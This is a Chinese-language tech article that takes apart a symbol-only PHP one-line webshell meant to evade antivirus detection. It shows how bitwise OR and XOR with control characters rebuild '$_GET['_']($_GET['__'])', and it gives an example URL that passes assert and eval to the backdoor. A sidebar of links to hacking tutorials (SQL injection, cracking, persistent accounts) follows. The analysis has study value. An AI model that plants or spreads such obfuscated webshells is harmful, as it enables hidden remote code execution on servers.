纯符号组成的一句话后门代码剖析研究
以上是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀。下文将详细剖析这段看似复杂的PHP变形代码。
第一行:$_="";
定义一个以下划线作为命名的字符变量:$_,赋值为空。
此行实际上不影响代码执行效果,仅增加混淆效果。
第二行:$_[+""]='';
定义一个$_数组元素,其key为+"",赋值为空。
众所周知,PHP是个弱类型语言,也就是说PHP并不严格验证变量类型,所以这里+""作为数组了key,其值等同于0,所以此行等同于$_[0]='';
此时$_被定义为数组,覆盖上一行的定义。
第三行:$_="$_"."";
将变量$_强制转换为字符串,因为此时$_类型为数组,强制转换后的结果为字符串"Array"(string(5) "Array" ),而非数组元素的值。
第四行:$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
这一行涉及到计算机二进制的“或运算”和“异或运算”,这里先简单介绍下这两种运算规则:
1、或运算,符号为 |
运算规则:0|0=0; 0|1=1; 1|0=1; 1|1=1;
简单来说,或运算前后两个对象 只要有 一个为1,其值就为1,否则为0
2、异或运算,符号为 ^
运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;
简单来说,异或运算可以看成是判断前后两个对象是否相等的,如果两个对象不同(即为异),则值为1,否则为0
再回到代码上来,此行代码分三个部分($_[+""]|"")、($_[+""]|"")、($_[+""]^""),用连接符“.”号相连,每个部分都是其中两个对象进行"或运算"或"异或运算"。
先看第一部分($_[+""]|""),很明显,这里是$_[+""]和""这两个对象进行“或运算”。
第一个对象$_[+""](也就是$_[0]),要注意其值已经不是第二行定义的空值,因为在第三行时$_变量已经被覆盖定义为字符串“Array”。这里涉及到另一个php知识细节:对于 字符串[数字] 结构,字符串将会当成数组处理,返回以后面数字作为索引的元素值,例如:$x='abcd9.com',则$x[4]='9'。可见,$_[+""]值为字符串“Array”第一字符“A”。
第二个对象""是一个特殊字符(注意:这不是短横,虽然长得很像,实际上是个特殊字符,此类符号在某些环境下无法识别而作为乱码处理。后面两部分中的特殊字符也如此。),暂不管为什么此处是这个特殊字符而不是其他字符,先在此行下增加一行测试代码显示这一行定义的$_值:
var_dump($_);
测试结果为:string(3) "GET" ,可见,($_[+""]|"").($_[+""]|"").($_[+""]^"")值"GET",显而易见,($_[+""]|"")值为“G”,($_[+""]|"")值为“E”,($_[+""]^"")值为“T”。
再先看第一部分($_[+""]|"")值为"G",上面已得到$_[+""]值为“A”,即("A"|"")="G",下面分析下此等式:
“A”二进制:0100 0001
“G”二进制:0100 0111
0100 0001 | x = 0100 0111
通过或运算规则推导并参考ASCII码对照表,x值可能有以下几个结果:
复制代码
代码如下:
01000110 //ASCII可显示字符:F
01000111 //ASCII可显示字符:G
00000110 //ASCII控制字符:ACK,代表“确认回应”
00000111 //ASCII控制字符:BEL,代表“响铃”
代码中的""即为ASCII控制字符:ACK。其实另外三个字符也适用,为了增加混淆效果故采用这种特殊字符。
搞清楚第一部分,第二、第三部分也同理可推。
第五行:${'_'.$_}['_'](${'_'.$_}['__']);
此行可通过小括号分成两部分:${'_'.$_}['_'] 和 ${'_'.$_}['__'],两部分结构均是${A}['B'],区别仅是后面B是一条下划线还是两条小划线。
先看相同部分${'_'.$_},这里涉及到大括号{}在php中的特性一个:在变量间接引用中进行定界,如"$abc"为变量$abc,而"${a}bc"为变量$a连接字符"bc",了解了这一特性,而第四行对$_赋值为“GET”,可见${'_'.$_}即为变量$_GET,加上后面['_'],则为$_GET['_'],接收"get"的表单中的变量为'_'的值。小括号里的部分同理。
根据上面叙述,第五行代码还原后是:$_GET['_']($_GET['__']);
至此,这段混淆代码已原形毕露,一句话后门代码原形为:$_GET['_']($_GET['__']),传递特殊参数构建webshell链接网址(例如:http://www.test.com/webshell.php?_=assert&__=eval($_POST['a'])),通过一句话木马客户端即可连接此URL。
asp教程 如何破解加密的asp木马登陆密码?
破解目标:破解一经过加密的Asp木马登陆密码。由于木马里没有版本说明,具体也不知道这木马叫什么名。 破解思路:两种,用加密后的密码替换密文和利用密文及加密算法反解出密码。前者根本算不上真正的破解。如果
详情2018-02-07 15:19:51责编:llp 来源:驱动管家什么是csrf攻击?csrf攻击如何防御?
0x01 什么是CSRF攻击CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET POST的事情——这些事情用户未必知道和愿意做,你可以把它想做HTTP会话劫持。网站是通过cookie来识别用
详情2018-01-16 19:41:43责编:llp 来源:驱动管家gpg加密软件怎么安装 gpg加密软件在Kgpg的安装方法
公钥加密为每个人提供了强密码的加密技术。“目前有两种加密技术,加密技术阻止了你孩子、姐姐读取你的文件,加密技术也阻止了政府读取你的文件”--布鲁斯 施奈尔大多数人以前没有使用过加密技术,或安装他们的
详情2018-01-08 09:20:52责编:llp 来源:驱动管家rar密码破解实例 怎么破解一个使用rar加密的文件?
对于一些安全意识比较强的人来说,一般都会对文件进行加密,例如使用rar自带的加密功能进行加密,如果偶然获取了这种rar加密文件,人的好奇心肯定会促使获取资料的人去打开这些加密文件。当然网上也有很多提供资
详情2018-01-14 15:01:36责编:llp 来源:驱动管家php注入有哪些基础步骤?这十点要牢记
php注入十点基本步骤1、判断是否存在注入,加& 39;、and 1=1、and 1=22、判断版本and ord(mid(version(),1,1))>51 * 返回正常说明是4 0以上版本,可以用union查询3、利用order by 暴字段,在网址后加 orde
详情2018-03-03 11:01:00责编:llp 来源:驱动管家upx脱壳的方法 破解upx程序的过程
入门级的破解,用ollydbg我用UPX将NOTEPAD EXE加壳,选择OllyDbg 1 09d来脱壳。首先加载被加壳的程序,程序直接定位到01014110 $60 PUSHAD处,选择CTRL F 输入查找内容 "POPAD ",OD定位到0101425E> 61 POPA
详情2018-01-18 16:05:36责编:llp 来源:驱动管家dreamweaver教程 dreamweaver是怎么挖掘脚本漏洞的?
今天在站长站上闲逛时看到了冠龙的这套程序,想想自己刚注意到这套程序的时候还是看手册上刚刚提出Cookie注入的概念,可以说这套程序对我当初学习Cookie注入帮助也是很大的,而且前一段时间还爆出了跨站漏洞,不
详情2018-01-19 12:30:31责编:llp 来源:驱动管家防止黑客建立永久帐号的步骤 拦截重建账号的方法
windows下建立永久帐号方法,搞服务器安全的朋友也需要学习下,防止黑客建立永久帐号。操作步骤:1、在自己电脑里面建立一个 txt文本文件 2、在里面输入内容:@echo offnet user xixi 123456 add 注释:前
详情2018-03-02 19:25:16责编:llp 来源:驱动管家%5c暴库漏洞是什么?%5c暴库漏洞的原理
说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:_
详情2018-03-08 08:53:31责编:llp 来源:驱动管家cmos密码破解的方法 破解系统密码的方法
网管员在维护和使用电脑时,经常会遇到各种密码丢失的问题,这里,我们就为广大网管员准备了一些破解密码的方法,但是希望大家不要干坏事哦。开机密码是我们最先要遇到的因此我们就先从CMOS密码破解讲起。虽然CMO
详情2018-02-13 09:30:16责编:llp 来源:驱动管家
- win10网卡驱动有感叹号的解决方法
- 怎么用靠谱助手直接搜索游戏安装并且快速启动应用
- ae在缩放图片时锚点不在中心位置时可以用这个方法调整
- 怎么判别电脑是否安装了流氓软件?
- 主流超值电源有哪些 六款主流超值电源推荐
- 在骨灰级PC收藏家家中挖出的PC和键盘能够做个小型博物馆展览
- 小瓦扫地机器人青春版只要999元
- HTC U12将在今年上半年推出 配以“三明治”结构设计
- Word不能输入汉字怎么办?Word不能输入汉字解决方法
- 怎么取消excel隐私警告弹窗?具体方法如下
- 诺基亚1520在哪里设置呼叫转移?呼叫转移的使用方法
- iphone如何调静音?iPhone静音模式如何设置?
- 清空电脑缓存 清空temp文件夹方法介绍
- 有没有必要使用千兆路由器?使用千兆路由器有哪些好处?
- phpcms2.4漏洞挖掘 phpcms2.4的注入漏洞
- PunBB的口令重置功能有哪些作用?
- win7删除文件时提示回收站已损坏是否清空该驱动器上的回收站的原因及解决方法
- 在电脑上能使用安卓系统吗?在电脑上使用安卓系统的方法
- 怎么用极品五笔输入法打出特殊符号?这两个方法可以帮到你
- 音质和音效之间有哪些联系和区别?音质和音效的介绍